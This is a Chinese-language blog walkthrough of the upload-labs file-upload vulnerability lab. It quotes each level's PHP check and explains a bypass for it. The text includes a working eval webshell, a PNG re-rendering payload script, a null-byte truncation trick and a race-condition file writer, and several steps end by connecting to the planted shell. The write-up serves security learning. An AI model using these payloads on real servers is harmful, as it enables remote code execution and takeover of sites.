upload-labs解析

前言

之前在CTFHub做了一些关于文件上传的题目,了解了一些关于文件上传的知识,觉得还蛮好玩儿的。那想进一步的深入了解一下文件上传,所以在自己所搭建的靶场upload-labs,通过这个再来学习一下文件上传漏洞。好,话不多说。开始整活。

Pass-01 JS绕过

来到第一部分,首先来审查一下代码。

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

通过代码审计了解到在上传时,只能是上传.jpg|.png|.gif文件,其他的都允许上传。这里有一个文件检查函数,是用JS写的。这就是文件上传前端检测,也就是JS检测。这个时候,我们只需要使用Burpsuite抓包修改绕过客户端文件名检验即可。

那我们先上传一个允许上传的文件——jpg文件,然后抓包,修改成php文件

S2}4QK%KR$P87XT4{92FEIH.png

~DJ3%}GTQFVRO]7]KU2[IZ1.png

然后go一下

1QJJDHXMZ}34QSWJ1ZD{296.png

这就说明上传成功,显示出了路径,那我们放开,上传。使用蚁剑连接一下,测试。

IT3FUL6U(@L8I(7{7BMH7)E.png

成功了!!!

Pass-02 MIME类型检测

先找出代码进行分析,这是对Content- - Type进行了检测,也就是我们所说的MIME类型检测。对于这样的题我们只需要修改一下Content--Type的值即可。

<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;

            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
    }
}
?>

那就需要bp抓包了

AD2K}Y0_JO9}5BT_BO~}3Q3.png

修改Content-Type后go一下就可以得到路径。使用蚁剑连接一下。

6)M(XSLOVYVRG`HDQ[}4I~6.png

成功!!!

Pass-03 黑名单验证

第三关这个属于是黑名单检测,我们先看源码

<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {
                 $img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
                 $is_upload = true;
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}
?>

这个是不允许上传'.asp','.aspx','.php','.jsp',限制了文件类型,不过这个还是不严谨。大大提高了攻击者,攻击手段。虽说它限制了php文件,但是我们可使用.htaccess文件,之前已经在CTFHub当中解释。然后再上传一个允许上传的文件jpg,通过抓包得知路径

${K$SDC97VW{}O@7H_7[C72.png

成功!!

黑名单绕过的话其实分好多种,这只是其中之一,那具体的我们再题当中会一一解释

Pass-04 .htaccess

第四关与第三关是一样的都是黑名单绕过,方法也是一样的。

通过源代码来看。这个只是更多的限制了文件类型而已

<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}
?>

直接操作吧,先上传一个.htaccess文件,之后上传一个.jpg文件成功后,直接用蚁剑连接即可

YL_)%JJP]_Q%ZUJIZ11VBI5.png

Pass-05 混合大小写绕过

通过源码来看,这个是越来越严谨了

<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}
?>

那这次我们可以通过大小写混合来绕过

直接上传一个.phP文件

`N)V2(5]$85H7OHGO0UAZ1N.png

成了,用蚁剑连接

_9_E4W1CRGKIAN%F~HF(%}B.png

真香!

Pass-06 空格绕过

先查看一下源码

<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}
?>

通过代码分析来看,它把转换小写的代码加了上去,不过却没有了空格的限制,这样我们就可以进行空格绕过了。

利用Windows系统的文件名特性。文件名最后增加空格,写成06.php ,上传后保存在Windows系统上的文件名最后的一个空格会被去掉,实际上保存的文件名就是06.php,即空格绕过。

[W4I`W]JA_0(ETR7~LE8)8M.png

在结尾加上空格,然后go一下,这就上传成功,使用蚁剑连接

$Y@6$EV@SJYN559GKEJHXOX.png

Pass-07 点绕过

还是需要审计一下代码,源码如下:

<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}
?>

通过源码相较于上一关来说区别不是很大,这一关中,虽然加上了对空格的限制 ,但是把点的限制给去掉了。

所以我们也是需要在文件名上加个点即可——07.php.

}7ETAELC0VROA[MRDKF9W7K.png

上传成功,完了之后 ,上蚁剑

OXQOI49H812[8]2~ZT$0}@V.png

Pass-08 ::$DATA文件流特性绕过

我们来到了第八关,审计代码

<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}
?>

通过审计这段代码我们了解到相较之前两关这次它删掉了 $file_ext = str_ireplace('::$DATA', '', $file_ext);这段码

注释说是去除字符串::$DATA,那这个::$DATA到底是什么呢

它其实是Windows系统下NIFS文件系统的一个特性,这个文件系统的存储数据流中有一个属性 ,这个属性就是DATA

当我们访问a.asp::DATA 时,也就是请求 a.asp 本身的数据。

在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名。

那好,开始整活了。

D9O7H$_UYNE~72$HD9H3U]H.png

ZV]Z8UG520P7~SN(9%H}O7R.png

这样便成功了!

Pass-09 点空点绕过

代码如下:

<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}
?>

这关的代码,好像函数没有啥遗漏的,那这次我们可以对后缀名末尾加上点空点来进行绕过——09.php. .

5N%S}MZE0H_Q~@A}9}TNR0D.png]QQN2N486U)75NHGT$DQ8OL.png

成功连接

Pass-10 双写绕过

第十关,代码如下:

<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);//上传的文件,将黑名单的名字替换为空
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            $is_upload = true;
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}
?>

绕过审计,我们来看$file_name = str_ireplace($deny_ext,"", $file_name);它的意思就是若我们上传的文件的文件名有黑名单的名字那么就删掉。这也是一个黑名单绕过。利用双写绕过即可。

@~P819KTY}HL})KO(~62IID.png

Pass-11 00截断

第十一关,代码审计:

<?php
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
  //将所上传的文件的后缀名取下来
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){//查找上传的文件是否是'jpg','png','gif'文件
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = '上传失败!';
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}
?>

这里我们先介绍一下几个函数

substr(); //字符串截取函数,将字符串从指定位置截取
strrpos();//查找字符串在另一字符串中最后一次出现的位置。
   例子:strrpos("You love php, I love php too!","php"); //查找php在字符串最后一次出现 的位置
    此函数对大小写很敏感 
in_array(search,array,type);//搜索array中是否存在search的值.

这样我们通过代码分析,就可以了解到,需要将文件路截断,使用00截断,而且这个是post请求方式,因为post不会像get对%00进行自动解码。使用burpsuite对%00进行解码,即可。

Pass-12 00截断

第十二关代码如下:

<?php
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}
?>

这关也是00截断,这题和上一题基本一样,只是save_path不在URL中了,而在POST数据里面,由于POST里面的数据不会被url自动解码,所以要稍微改变一下。

首先,先改好路径,然后再路径后面加上一个字符,什么字符都可以,这里我为了方便用+号。去到hex那儿把2b改成00

WYK]P%3P`YH2(EDOR817QX0.png

(9BOCJFH31~7N9{{_B]`0_D.png

改好,上传即可

Pass-13 文件头检测

<?php
function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
}
?>

根据代码审计这个是关于文件头检测的,所以我们需要文件头绕过

NN]}}ZB~DEZA8QH$TWR~9(F.png

成功

Pass-14 getimagesize()检测绕过

第十四关

<?php
function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
}
?>

与上关相同,上传图片马即可,这里不在做过多解释

GIF89a
<?php @eval($_POST["code"])?> 

6UCT1E2(]6BWPL6V_{@}9`R.png

Pass-15 exif_imagetype()检测绕过

此关运用了exif_imagetype()检测,代码如下

<?php
function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
}
?>

上传一个图片马即可

}A5PC4]%2T]P_5B{5RIC3W1.png

ZC{QCGCZ3EJ@EU0L5RAQ{AM.png

Pass-16 二次渲染

来到了第十六关,此关代码如下。

<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=$UPLOAD_ADDR.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagejpeg($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
            $msg = "上传失败!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagepng($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;               
            }
        }
        else
        {
            $msg = "上传失败!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagegif($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
            $msg = "上传失败!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}
?>

此关先对上传的文件进行了白名单限制,然后对上传的合法文件进行了二次渲染。

而二次渲染就是说根据用户上传的图片新生成一个图片,将原始图片删除,将新图片添加到数据库中。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。

其原理就是将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。

而针对不同的文件类型有着不同的方法。

上传GIF

我们可以先找一个正常的GIF文件然后再HXD里在末尾添加上一句话木马

}L4_M$[JS9UZ([U@16DD3GJ.png

然后进行上传,成功后我们把上传的图片下载到我们的本地上来。

用HXD查看,发现我们添加的一句话木马没有了,然后我们可以根据上传前的图片与上传后的图片进行对照。使用HXD对照,看看哪里没有被修改,然后在那个位置添加一句话木马即可上传成功。

上传PNG

上传png并不是容易,首先我们来了解一下png

PNG的组成

png图片由3个以上的数据块组成。

PNG定义了两种类型的数据块,一种是称为关键数据块,这是标准的数据块,另一种叫做辅助数据块,这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们。

分析数据块

数据块IHDR:它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。

图像数据块IDAT:它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像

图像结束数据IEND:它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。

我们可能都会发现,png文件的末尾都会是这样的

2S%0G~~Q_T0U}15O{E60S[H.png

上传一句话木马

那好现在我们深入了解了一下png文件,现在我们就要开始绕过二次渲染上传文件,有两种方法可以实现。

第一种方法:写入PLTE数据块

这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03为索引彩色图像,所以还是有所限制的。

我们可以利用一个脚本来生成图片马:

python poc_png.py -p '<?php eval($_REQUEST[1]);?>' -o shell.png old.png

第二种方法:写入IDAT

这里有国外大牛写的脚本,直接拿来运行即可。

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

运行后得到1.png,即可上传成功

上传jpg

这里也采用国外大牛编写的脚本 jpg_payload.php

然后我们先随便找个.jpg文件,先上传至服务器然后再下载到本地保存为 1.jpg 。插入php代码;使用脚本处理1.jpg:

php jpg_payload.php 1.jpg

然后上传,即可上传成功。

注意:有一些jpg图片不能被处理,所以要多尝试一些jpg图片。

具体二次渲染绕过可参考:https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

Pass-17 条件竞争绕过

第十七关代码:

<?php
     $is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = $UPLOAD_ADDR . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             unlink($upload_file);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传失败!';
    }
}
?>

在这里先介绍一个函数:

move_uploaded_file(); //将上传的文件移动到新位置。若成功,则返回 true,否则返回 false
unlink() //删除文件。

也就是说,判断此文件是否上传到了服务器。

通过我们审计这段代码我们也可以发现,这个是先上传再检查。因此在上传和删除之间存在一个时间差,导致条件竞争。

这里我们可以使用bp上传到shell,然后通过python去访问

先将

<?php
$f=fopen("shell.php","w");
fputs($f,'<?php phpinfo(); ?>');
?>

上传抓包,然后空值无限爆破发包。

N1FNLN)6MJ57F7TZBL46AYD.png

然后访问phpinfo.php,抓包,同样空值爆破。直到有200的返回包,此时会在上传目录下生成一个shell.php文件。

此时访问shell.php,可以发现成功了。

posted @ 2021-01-22 13:55  AW_SOLE  阅读(218)  评论(0编辑  收藏  举报